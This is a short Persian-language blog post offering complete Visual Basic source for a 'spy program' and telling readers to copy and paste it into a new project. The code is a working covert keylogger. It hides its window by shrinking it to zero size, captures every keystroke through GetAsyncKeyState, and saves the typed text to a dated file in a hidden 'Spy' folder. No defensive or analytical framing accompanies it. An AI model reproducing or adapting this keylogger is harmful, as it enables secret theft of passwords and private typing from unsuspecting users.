کد برنامه جاسوسی برنامه نویسی شده با ویژوال بیسیک
| Code |
| 'Just copy in paste in a new project Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Dim result As Integer Private Sub Form_Load() On Error GoTo ErrorHandler: Form1.Width = 0 Form1.Height = 0 Form1.Top = 0 Form1.Left = 0 MkDir (App.Path & "\" & "Spy") ErrorHandler: End Sub Private Sub Timer1_Timer() For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then Text1.Text = Text1.Text + Chr(i) End If Next i End Sub Private Sub Timer2_Timer() On Error GoTo ErrorHandler Text2.Text = Format(Date, "dd,mm,yyyy") Open App.Path & "\" & "Spy" & "\" & Text2.Text & ".txt" For Output As #1 Write #1, Text1.Text Close #1 ErrorHandler: End Sub |
منبع:www.cesblog.ir
+ نوشته شده توسط CES در چهارشنبه بیست و پنجم خرداد ۱۳۹۰ و ساعت
14:9 |